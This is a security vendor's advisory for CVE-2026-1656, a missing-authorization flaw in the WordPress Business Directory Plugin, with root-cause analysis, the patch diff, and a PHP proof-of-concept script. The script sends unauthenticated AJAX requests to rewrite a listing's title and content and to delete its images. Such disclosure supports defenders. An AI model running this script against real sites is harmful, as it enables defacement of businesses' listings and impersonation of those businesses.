Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1656: Business Directory Plugin <= 6.4.20 – Missing Authorization to Unauthenticated Arbitrary Listing Modification (business-directory-plugin)

CVE ID CVE-2026-1656
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 6.4.20
Patched Version 6.4.21
Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1656:
The Business Directory Plugin for WordPress versions up to and including 6.4.20 contains a missing authorization vulnerability in its AJAX handlers. This flaw allows unauthenticated attackers to modify arbitrary directory listings, including their titles, content, and associated email addresses. The vulnerability stems from insufficient access control checks on multiple AJAX endpoints that handle listing data. With a CVSS score of 5.3, this issue presents a moderate integrity risk to affected WordPress installations.

Atomic Edge research identifies the root cause as missing capability and nonce verification across several AJAX action handlers. The primary vulnerable functions are located in `/includes/class-wpbdp.php` within the `ajax_listing_images_delete()` and `ajax_listing_images_reorder()` methods (lines 650 and 687). These functions lacked any authorization checks before processing listing modifications. The `_ajax_file_upload()` method in `/includes/admin/controllers/class-settings-admin.php` (line 962) also lacked permission checks and was registered for unauthenticated users via the `wp_ajax_nopriv_wpbdp-file-upload` hook. Multiple other AJAX handlers in the codebase similarly omitted proper verification.

Exploitation requires an attacker to send crafted POST requests to `/wp-admin/admin-ajax.php` with the `action` parameter set to `wpbdp_ajax`. The attacker must include a `listing_id` parameter referencing an existing directory listing they wish to modify. For image deletion, the request would include `image_id` and `method` parameters. For content modification, the attacker would target the `save_listing` AJAX action with field data in the `listingfields` array. The vulnerability allows direct parameter manipulation without authentication or authorization tokens.

The patch in version 6.4.21 implements comprehensive authorization checks across all affected endpoints. The fix adds `wpbdp_user_can(‘edit’, $listing_id)` checks in `class-wpbdp.php` (lines 650 and 687) to verify editing permissions. It removes the `wp_ajax_nopriv_wpbdp-file-upload` hook registration in `class-settings-admin.php`. The patch introduces nonce verification via `check_ajax_referer(‘wpbdp_ajax’, ‘nonce’, false)` in multiple locations including `class-admin.php` (lines 832 and 871) and `class-submit-listing.php` (line 509). A new `verify_ajax_request()` method in `class-submit-listing.php` consolidates these security checks.

Successful exploitation enables complete compromise of directory listing integrity. Attackers can alter business titles, descriptions, contact information, and associated images. Modified email addresses could facilitate business impersonation or credential theft through password reset mechanisms. The vulnerability allows attackers to deface directory content, disrupt business operations, and potentially enable secondary attacks through manipulated contact forms or payment redirection.

Differential between vulnerable and patched code

Code Diff
--- a/business-directory-plugin/business-directory-plugin.php
+++ b/business-directory-plugin/business-directory-plugin.php
@@ -3,7 +3,7 @@
  * Plugin Name: Business Directory Plugin
  * Plugin URI: https://businessdirectoryplugin.com
  * Description: Provides the ability to maintain a free or paid business directory on your WordPress powered site.
- * Version: 6.4.20
+ * Version: 6.4.21
  * Author: Business Directory Team
  * Author URI: https://businessdirectoryplugin.com
  * Text Domain: business-directory-plugin
--- a/business-directory-plugin/includes/admin/class-admin.php
+++ b/business-directory-plugin/includes/admin/class-admin.php
@@ -832,7 +832,7 @@
 		public function ajax_formfields_reorder() {
 			$response = new WPBDP_AJAX_Response();

-			if ( ! wpbdp_user_is_admin() ) {
+			if ( ! wpbdp_user_is_admin() || ! check_ajax_referer( 'wpbdp_ajax', 'nonce', false ) ) {
 				$response->send_error();
 			}

@@ -871,7 +871,7 @@

 			$response = new WPBDP_AJAX_Response();

-			if ( ! wpbdp_user_is_admin() ) {
+			if ( ! wpbdp_user_is_admin() || ! check_ajax_referer( 'wpbdp_ajax', 'nonce', false ) ) {
 				$response->send_error();
 			}

@@ -986,8 +986,8 @@

 				$this->maybe_update_notice_classes( $class );

-				echo '<div class="wpbdp-notice notice ' . esc_attr( $class ) . '">';
-				echo '<p>' . $text . '</p>';
+			echo '<div class="wpbdp-notice notice ' . esc_attr( $class ) . '">';
+			echo '<p>' . wp_kses_post( $text ) . '</p>';

 				if ( ! empty( $extra['dismissible-id'] ) ) {
 					printf(
@@ -1575,6 +1575,9 @@
 		}

 		public function ajax_dismiss_notification_server_requirements() {
+		WPBDP_App_Helper::permission_check();
+		check_ajax_referer( 'wpbdp_ajax', 'nonce' );
+
 			set_transient( 'wpbdp_server_requirements_warning_dismissed', true, WEEK_IN_SECONDS );
 		}

--- a/business-directory-plugin/includes/admin/controllers/class-admin-listings.php
+++ b/business-directory-plugin/includes/admin/controllers/class-admin-listings.php
@@ -13,6 +13,7 @@
 	public function __construct() {
 		add_action( 'admin_init', array( $this, 'add_metaboxes' ) );
 		add_action( 'wpbdp_admin_notices', array( $this, 'no_plan_edit_notice' ) );
+		add_action( 'wpbdp_admin_notices', array( $this, 'show_field_validation_errors' ) );

 		add_action( 'manage_' . WPBDP_POST_TYPE . '_posts_columns', array( &$this, 'modify_columns' ) );
 		add_action( 'manage_' . WPBDP_POST_TYPE . '_posts_custom_column', array( &$this, 'listing_column' ), 10, 2 );
@@ -181,6 +182,50 @@
 		}
 	}

+	/**
+	 * Display field validation errors stored in transient.
+	 *
+	 * @since 6.4.21
+	 */
+	public function show_field_validation_errors() {
+		if ( ! function_exists( 'get_current_screen' ) ) {
+			return;
+		}
+
+		$screen = get_current_screen();
+
+		if ( ! $screen || WPBDP_POST_TYPE !== $screen->id ) {
+			return;
+		}
+
+		global $post;
+
+		if ( ! $post ) {
+			return;
+		}
+
+		$transient_key     = 'wpbdp_field_validation_errors_' . $post->ID . '_' . get_current_user_id();
+		$validation_errors = get_transient( $transient_key );
+
+		if ( ! $validation_errors ) {
+			return;
+		}
+
+		delete_transient( $transient_key );
+
+		$error_messages = array();
+
+		foreach ( $validation_errors as $details ) {
+			foreach ( $details['errors'] as $error ) {
+				$error_messages[] = $error;
+			}
+		}
+
+		foreach ( $error_messages as $error ) {
+			wpbdp_admin_message( $error, 'error' );
+		}
+	}
+
 	function add_metaboxes() {

 		remove_meta_box( 'authordiv', WPBDP_POST_TYPE, 'normal' );
@@ -571,16 +616,31 @@
 			return;
 		}

-		$fields = wpbdp_get_form_fields( array( 'association' => 'meta' ) );
+		$validation_errors = array();
+		$fields            = wpbdp_get_form_fields( array( 'association' => 'meta' ) );
 		foreach ( $fields as $field ) {
 			if ( isset( $_POST['listingfields'][ $field->get_id() ] ) ) {
-				$value = $field->value_from_POST();
+				$value        = $field->value_from_POST();
+				$field_errors = array();
+
+				if ( ! $field->validate( $value, $field_errors ) ) {
+					$validation_errors[ $field->get_id() ] = array(
+						'label'  => $field->get_label(),
+						'errors' => $field_errors,
+					);
+					continue;
+				}
+
 				$field->store_value( $post_id, $value );
 			} else {
 				$field->store_value( $post_id, $field->convert_input( null ) );
 			}
 		}

+		if ( $validation_errors ) {
+			set_transient( 'wpbdp_field_validation_errors_' . $post_id . '_' . get_current_user_id(), $validation_errors, 60 );
+		}
+
 		$listing = wpbdp_get_listing( $post_id );

 		$_thumbnail_id = intval( wpbdp_get_var( array( 'param' => '_thumbnail_id' ), 'post' ) );
--- a/business-directory-plugin/includes/admin/controllers/class-settings-admin.php
+++ b/business-directory-plugin/includes/admin/controllers/class-settings-admin.php
@@ -16,7 +16,6 @@
 		add_action( 'wpbdp_action_reset-default-settings', array( &$this, 'settings_reset_defaults' ) );

 		add_action( 'wp_ajax_wpbdp-file-upload', array( $this, '_ajax_file_upload' ) );
-		add_action( 'wp_ajax_nopriv_wpbdp-file-upload', array( $this, '_ajax_file_upload' ) );

 		add_filter( 'wpbdp_setting_type_pro_license', array( &$this, 'no_license' ), 20, 2 );
 	}
@@ -962,6 +961,8 @@
 	}

 	public function _ajax_file_upload() {
+		WPBDP_App_Helper::permission_check();
+
 		$setting_id = wpbdp_get_var( array( 'param' => 'setting_id' ), 'request' );
 		$nonce      = wpbdp_get_var( array( 'param' => 'nonce' ), 'request' );

--- a/business-directory-plugin/includes/admin/csv-import.php
+++ b/business-directory-plugin/includes/admin/csv-import.php
@@ -110,6 +110,10 @@
 	public function ajax_autocomplete_user() {
 		WPBDP_App_Helper::permission_check();

+		if ( ! check_ajax_referer( 'wpbdp_ajax', 'nonce', false ) ) {
+			wp_die();
+		}
+
 		$term  = wpbdp_get_var( array( 'param' => 'term' ), 'request' );
 		$users = get_users( array( 'search' => "*{$term}*" ) );

--- a/business-directory-plugin/includes/class-wpbdp.php
+++ b/business-directory-plugin/includes/class-wpbdp.php
@@ -55,7 +55,7 @@
 	}

 	private function setup_constants() {
-		define( 'WPBDP_VERSION', '6.4.20' );
+		define( 'WPBDP_VERSION', '6.4.21' );

 		define( 'WPBDP_PATH', wp_normalize_path( plugin_dir_path( WPBDP_PLUGIN_FILE ) ) );
 		define( 'WPBDP_INC', trailingslashit( WPBDP_PATH . 'includes' ) );
@@ -650,6 +650,10 @@
 			$res->send_error();
 		}

+		if ( ! wpbdp_user_can( 'edit', $listing_id ) ) {
+			$res->send_error();
+		}
+
 		// Remove from images list.
 		$listing->remove_image( $image_id );

@@ -683,6 +687,11 @@
 			wp_send_json_error( $json_data );
 		}

+		if ( ! wpbdp_user_can( 'edit', $listing_id ) ) {
+			$json_data['errors'] = esc_html__( 'You do not have permission to update this listing.', 'business-directory-plugin' );
+			wp_send_json_error( $json_data );
+		}
+
 		$image_ids = wpbdp_get_var(
 			array(
 				'param'   => 'image_ids',
--- a/business-directory-plugin/includes/compatibility/class-cornerstone-compat.php
+++ b/business-directory-plugin/includes/compatibility/class-cornerstone-compat.php
@@ -13,6 +13,12 @@
 			return $has_shortcode;
 		}

-		return wpbdp_has_shortcode( get_post_meta( $post->ID, '_cornerstone_data' )[0], $shortcode );
+		$cornerstone_data = get_post_meta( $post->ID, '_cornerstone_data', true );
+
+		if ( empty( $cornerstone_data ) ) {
+			return false;
+		}
+
+		return wpbdp_has_shortcode( $cornerstone_data, $shortcode );
 	}
 }
--- a/business-directory-plugin/includes/compatibility/class-fa-compat.php
+++ b/business-directory-plugin/includes/compatibility/class-fa-compat.php
@@ -57,6 +57,11 @@
 	 * @since 5.15.3
 	 */
 	public function ajax_dismiss_notification_fontawesome() {
+		$nonce = wpbdp_get_var( array( 'param' => 'nonce' ), 'request' );
+		if ( ! $nonce || ! wp_verify_nonce( $nonce, 'dismiss notice fontawesome' ) ) {
+			return;
+		}
+
 		if ( ! current_user_can( 'install_plugins' ) ) {
 			return;
 		}
--- a/business-directory-plugin/includes/controllers/pages/class-submit-listing.php
+++ b/business-directory-plugin/includes/controllers/pages/class-submit-listing.php
@@ -370,7 +370,7 @@
 	public function ajax_reset_plan() {
 		$res = new WPBDP_AJAX_Response();

-		if ( ! $this->can_submit( $msg ) || empty( $_POST['listing_id'] ) ) {
+		if ( ! $this->can_submit( $msg ) || empty( $_POST['listing_id'] ) || ! $this->verify_ajax_request() ) {
 			wp_die();
 		}

@@ -456,6 +456,10 @@
 			$res->send_error( $msg );
 		}

+		if ( ! $this->verify_ajax_request() ) {
+			$res->send_error( __( 'You do not have permission to perform this action.', 'business-directory-plugin' ) );
+		}
+
 		$this->find_or_create_listing();

 		// Ignore 'save_listing' for AJAX requests in order to leave it as the final POST with all the data.
@@ -497,6 +501,37 @@
 		$res->send();
 	}

+	/**
+	 * Verify nonce and check ownership for existing listings in AJAX requests.
+	 *
+	 * @since 6.4.21
+	 *
+	 * @return bool True if the request is valid, false otherwise.
+	 */
+	private function verify_ajax_request() {
+		if ( ! check_ajax_referer( 'wpbdp_ajax', 'nonce', false ) ) {
+			return false;
+		}
+
+		$listing_id = absint( wpbdp_get_var( array( 'param' => 'listing_id' ), 'post' ) );
+		if ( ! $listing_id ) {
+			return true;
+		}
+
+		$post_status = get_post_status( $listing_id );
+		if ( ! $post_status || 'auto-draft' === $post_status ) {
+			return true;
+		}
+
+		if ( ! wpbdp_user_can( 'edit', $listing_id ) ) {
+			return false;
+		}
+
+		$this->editing = true;
+
+		return true;
+	}
+
 	public function messages( $msg, $type = 'notice', $context = 'general' ) {
 		$this->get_parent_section( $context );

--- a/business-directory-plugin/includes/fields/class-fieldtypes-checkbox.php
+++ b/business-directory-plugin/includes/fields/class-fieldtypes-checkbox.php
@@ -243,7 +243,12 @@
 	 * @since 3.4.1
 	 */
 	public function convert_csv_input( &$field, $input = '', $import_settings = array() ) {
-		if ( 'meta' != $field->get_association() ) {
+		if ( 'tags' === $field->get_association() ) {
+			$input = str_replace( ';', ',', $input );
+			return array_map( 'trim', explode( ',', $input ) );
+		}
+
+		if ( 'meta' !== $field->get_association() ) {
 			return $this->convert_input( $field, $input );
 		}

--- a/business-directory-plugin/includes/fields/class-fieldtypes-image.php
+++ b/business-directory-plugin/includes/fields/class-fieldtypes-image.php
@@ -306,6 +306,16 @@
 			die;
 		}

+		$post_status = get_post_status( $listing_id );
+		if ( ! $post_status ) {
+			die;
+		}
+
+		// If its an auto-draft there is no point in running the check.
+		if ( 'auto-draft' !== $post_status && ! wpbdp_user_can( 'edit', $listing_id ) ) {
+			die;
+		}
+
 		$element = wpbdp_get_var(
 			array(
 				'param'   => 'element',
--- a/business-directory-plugin/includes/helpers/class-email.php
+++ b/business-directory-plugin/includes/helpers/class-email.php
@@ -142,7 +142,7 @@
 				$this->template,
 				array(
 					'subject' => $this->subject,
-					'body'    => $this->html,
+					'body'    => $this->body,
 				)
 			) ) {
 				$this->html = $html_;
--- a/business-directory-plugin/includes/installer.php
+++ b/business-directory-plugin/includes/installer.php
@@ -24,7 +24,7 @@
 	public function install() {
 		global $wpdb;

-		if ( version_compare( self::DB_VERSION, $this->installed_version, '=' ) ) {
+		if ( version_compare( self::DB_VERSION, $this->installed_version ?? '', '=' ) ) {
 			return;
 		}

--- a/business-directory-plugin/templates/businessdirectory-email.tpl.php
+++ b/business-directory-plugin/templates/businessdirectory-email.tpl.php
@@ -1 +1,3 @@
-<?php echo $body; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+<html>
+<?php echo $body; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
+</html>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1656 - Business Directory Plugin <= 6.4.20 - Missing Authorization to Unauthenticated Arbitrary Listing Modification

<?php

$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php';

// Target listing ID to modify (must exist)
$listing_id = 123;

// New listing title and content
$new_title = 'Hacked Business';
$new_content = 'This listing was modified by an unauthenticated attacker.';

// Prepare the malicious AJAX request
$post_data = [
    'action' => 'wpbdp_ajax',
    'handler' => 'save_listing',
    'listing_id' => $listing_id,
    'listingfields[1]' => $new_title,      // Assuming field ID 1 is the title field
    'listingfields[2]' => $new_content,    // Assuming field ID 2 is the content field
    // Additional fields can be added based on the directory's field configuration
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check response
if ($http_code == 200) {
    echo "Potential exploitation successful. Check listing ID $listing_id for changes.n";
    echo "Response: " . htmlspecialchars($response) . "n";
} else {
    echo "Request failed with HTTP code: $http_coden";
}

// Alternative exploit for deleting listing images
$image_delete_data = [
    'action' => 'wpbdp_ajax',
    'handler' => 'listing_images_delete',
    'listing_id' => $listing_id,
    'image_id' => 456,  // Target image ID to delete
    'method' => 'delete'
];

// Uncomment to test image deletion
// $ch2 = curl_init();
// curl_setopt_array($ch2, [
//     CURLOPT_URL => $target_url,
//     CURLOPT_POST => true,
//     CURLOPT_POSTFIELDS => $image_delete_data,
//     CURLOPT_RETURNTRANSFER => true
// ]);
// $response2 = curl_exec($ch2);
// echo "Image deletion response: " . htmlspecialchars($response2) . "n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School